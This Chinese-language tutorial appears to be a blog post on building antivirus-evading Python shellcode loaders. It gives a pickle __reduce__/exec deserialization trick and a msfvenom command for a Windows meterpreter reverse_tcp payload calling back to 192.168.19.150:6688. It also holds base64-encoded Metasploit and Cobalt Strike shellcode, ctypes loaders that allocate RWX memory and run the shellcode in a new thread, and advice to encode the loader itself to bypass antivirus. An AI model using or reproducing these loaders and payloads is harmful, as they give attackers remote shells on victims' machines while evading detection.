目录
1.py
对代码段进行序列化数据生成
import pickle
import base64
#shellcode值如下面两块代码块,直接插进来即可
shellcode ='''
'''
class A(object):
def __reduce__(self):
return exec, (shellcode,)
#exec将shellcode的文本信息当作代码执行
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
#将生成的序列化数据即序列化shellcode插进2.py里面的shellcode,进行反序列化,编译的过程中将执行上述shellcode里面的文本当作代码执行
生成对象A的序列化数据并base64编码
对象A在干嘛?
调用魔术方法进行exec shellcode执行
shellcode是一整块源码,如下:
base64生成的加密payload:
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.19.150 lport=6688 -f c
#以下是base64编码的上线py
import ctypes
import base64
encode_shellcode = b""
encode_shellcode += b"\x2f\x45\x69\x44\x35\x50\x44\x6f\x7a\x41\x41\x41\x41\x45"
encode_shellcode += b"\x46\x52\x51\x56\x42\x53\x53\x44\x48\x53\x5a\x55\x69\x4c"
encode_shellcode += b"\x55\x6d\x42\x49\x69\x31\x49\x59\x55\x56\x5a\x49\x69\x31"
encode_shellcode += b"\x49\x67\x54\x54\x48\x4a\x53\x41\x2b\x33\x53\x6b\x70\x49"
encode_shellcode += b"\x69\x33\x4a\x51\x53\x44\x48\x41\x72\x44\x78\x68\x66\x41"
encode_shellcode += b"\x49\x73\x49\x45\x48\x42\x79\x51\x31\x42\x41\x63\x48\x69"
encode_shellcode += b"\x37\x56\x4a\x42\x55\x55\x69\x4c\x55\x69\x43\x4c\x51\x6a"
encode_shellcode += b"\x78\x49\x41\x64\x42\x6d\x67\x58\x67\x59\x43\x77\x49\x50"
encode_shellcode += b"\x68\x58\x49\x41\x41\x41\x43\x4c\x67\x49\x67\x41\x41\x41"
encode_shellcode += b"\x42\x49\x68\x63\x42\x30\x5a\x30\x67\x42\x30\x49\x74\x49"
encode_shellcode += b"\x47\x45\x53\x4c\x51\x43\x42\x4a\x41\x64\x42\x51\x34\x31"
encode_shellcode += b"\x5a\x49\x2f\x38\x6c\x4e\x4d\x63\x6c\x42\x69\x7a\x53\x49"
encode_shellcode += b"\x53\x41\x48\x57\x53\x44\x48\x41\x72\x45\x48\x42\x79\x51"
encode_shellcode += b"\x31\x42\x41\x63\x45\x34\x34\x48\x58\x78\x54\x41\x4e\x4d"
encode_shellcode += b"\x4a\x41\x68\x46\x4f\x64\x46\x31\x32\x46\x68\x45\x69\x30"
encode_shellcode += b"\x41\x6b\x53\x51\x48\x51\x5a\x6b\x47\x4c\x44\x45\x68\x45"
encode_shellcode += b"\x69\x30\x41\x63\x53\x51\x48\x51\x51\x59\x73\x45\x69\x45"
encode_shellcode += b"\x67\x42\x30\x45\x46\x59\x51\x56\x68\x65\x57\x56\x70\x42"
encode_shellcode += b"\x57\x45\x46\x5a\x51\x56\x70\x49\x67\x2b\x77\x67\x51\x56"
encode_shellcode += b"\x4c\x2f\x34\x46\x68\x42\x57\x56\x70\x49\x69\x78\x4c\x70"
encode_shellcode += b"\x53\x2f\x2f\x2f\x2f\x31\x31\x4a\x76\x6e\x64\x7a\x4d\x6c"
encode_shellcode += b"\x38\x7a\x4d\x67\x41\x41\x51\x56\x5a\x4a\x69\x65\x5a\x49"
encode_shellcode += b"\x67\x65\x79\x67\x41\x51\x41\x41\x53\x59\x6e\x6c\x53\x62"
encode_shellcode += b"\x77\x43\x41\x42\x6f\x67\x77\x4b\x67\x54\x6c\x6b\x46\x55"
encode_shellcode += b"\x53\x59\x6e\x6b\x54\x49\x6e\x78\x51\x62\x70\x4d\x64\x79"
encode_shellcode += b"\x59\x48\x2f\x39\x56\x4d\x69\x65\x70\x6f\x41\x51\x45\x41"
encode_shellcode += b"\x41\x46\x6c\x42\x75\x69\x6d\x41\x61\x77\x44\x2f\x31\x57"
encode_shellcode += b"\x6f\x4b\x51\x56\x35\x51\x55\x45\x30\x78\x79\x55\x30\x78"
encode_shellcode += b"\x77\x45\x6a\x2f\x77\x45\x69\x4a\x77\x6b\x6a\x2f\x77\x45"
encode_shellcode += b"\x69\x4a\x77\x55\x47\x36\x36\x67\x2f\x66\x34\x50\x2f\x56"
encode_shellcode += b"\x53\x49\x6e\x48\x61\x68\x42\x42\x57\x45\x79\x4a\x34\x6b"
encode_shellcode += b"\x69\x4a\x2b\x55\x47\x36\x6d\x61\x56\x30\x59\x66\x2f\x56"
encode_shellcode += b"\x68\x63\x42\x30\x43\x6b\x6e\x2f\x7a\x6e\x58\x6c\x36\x4a"
encode_shellcode += b"\x4d\x41\x41\x41\x42\x49\x67\x2b\x77\x51\x53\x49\x6e\x69"
encode_shellcode += b"\x54\x54\x48\x4a\x61\x67\x52\x42\x57\x45\x69\x4a\x2b\x55"
encode_shellcode += b"\x47\x36\x41\x74\x6e\x49\x58\x2f\x2f\x56\x67\x2f\x67\x41"
encode_shellcode += b"\x66\x6c\x56\x49\x67\x38\x51\x67\x58\x6f\x6e\x32\x61\x6b"
encode_shellcode += b"\x42\x42\x57\x57\x67\x41\x45\x41\x41\x41\x51\x56\x68\x49"
encode_shellcode += b"\x69\x66\x4a\x49\x4d\x63\x6c\x42\x75\x6c\x69\x6b\x55\x2b"
encode_shellcode += b"\x58\x2f\x31\x55\x69\x4a\x77\x30\x6d\x4a\x78\x30\x30\x78"
encode_shellcode += b"\x79\x55\x6d\x4a\x38\x45\x69\x4a\x32\x6b\x69\x4a\x2b\x55"
encode_shellcode += b"\x47\x36\x41\x74\x6e\x49\x58\x2f\x2f\x56\x67\x2f\x67\x41"
encode_shellcode += b"\x66\x53\x68\x59\x51\x56\x64\x5a\x61\x41\x42\x41\x41\x41"
encode_shellcode += b"\x42\x42\x57\x47\x6f\x41\x57\x6b\x47\x36\x43\x79\x38\x50"
encode_shellcode += b"\x4d\x50\x2f\x56\x56\x31\x6c\x42\x75\x6e\x56\x75\x54\x57"
encode_shellcode += b"\x48\x2f\x31\x55\x6e\x2f\x7a\x75\x6b\x38\x2f\x2f\x2f\x2f"
encode_shellcode += b"\x53\x41\x48\x44\x53\x43\x6e\x47\x53\x49\x58\x32\x64\x62"
encode_shellcode += b"\x52\x42\x2f\x2b\x64\x59\x61\x67\x42\x5a\x53\x63\x66\x43"
encode_shellcode += b"\x38\x4c\x57\x69\x56\x76\x2f\x56"
#解码
shellcode = base64.b64decode(encode_shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
OR
import ctypes
import base64
# cs,需要将生成的payload进行base64加密
shellcode=b'/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulPXWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuCAaAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOiiL0dXeEcADBHQA2UlJG9WXfPOLnIMwVIadjd6T751LQjP7CzDvH5ii+loNJDvAnyGACcv6DgVmx9plvq5BnqrDGq+ziEAm9khqIda5KWYTQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wOyBUcmlkZW50LzUuMDsgQk9JRTk7RU5VUykNCgDa5zqsyAsY1zK74s++6vU4oR1CRNd/GkETmSNwVwwlJ+utIczKGV1H14RMti8cB87ochv91yZE8prqplXb6ddXOMJfKy8b6yavtoUx3ZpqNVU6qpyT9bUfrxXOdzmS9bHmUgE3ec0/u43dDe6/n9WDipxDRlE7Xmx4Ht671qf0rYa6zNdjvnb+bUv1s6FzTJE/JRMyKvEX1fztPrWXKuAsDSIyhc9w4nRXfBZxLKtoLBQsq6ryEgbObXUCvFrKT5mGgvXfLZPf5YXE9jPrSPr6KdFpB6gAQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTkuMTUwABI0Vng='
#解密shellcode
shellcode=base64.b64decode(shellcode)
#添加加载器
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
注:以上的shellcode脚本可以将加载器进行base64加密后在插入解密,绕过杀软效果更好,如下CS的payload为例:
import ctypes
import base64
# cs,需要将生成的payload进行base64加密
shellcode=b'/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulPXWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuCAaAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOiiL0dXeEcADBHQA2UlJG9WXfPOLnIMwVIadjd6T751LQjP7CzDvH5ii+loNJDvAnyGACcv6DgVmx9plvq5BnqrDGq+ziEAm9khqIda5KWYTQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wOyBUcmlkZW50LzUuMDsgQk9JRTk7RU5VUykNCgDa5zqsyAsY1zK74s++6vU4oR1CRNd/GkETmSNwVwwlJ+utIczKGV1H14RMti8cB87ochv91yZE8prqplXb6ddXOMJfKy8b6yavtoUx3ZpqNVU6qpyT9bUfrxXOdzmS9bHmUgE3ec0/u43dDe6/n9WDipxDRlE7Xmx4Ht671qf0rYa6zNdjvnb+bUv1s6FzTJE/JRMyKvEX1fztPrWXKuAsDSIyhc9w4nRXfBZxLKtoLBQsq6ryEgbObXUCvFrKT5mGgvXfLZPf5YXE9jPrSPr6KdFpB6gAQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTkuMTUwABI0Vng='
#解密shellcode
shellcode=base64.b64decode(shellcode)
#下面的加载器是先经过base64加密的,所以得解密
z='Y3R5cGVzLndpbmRsbC5rZX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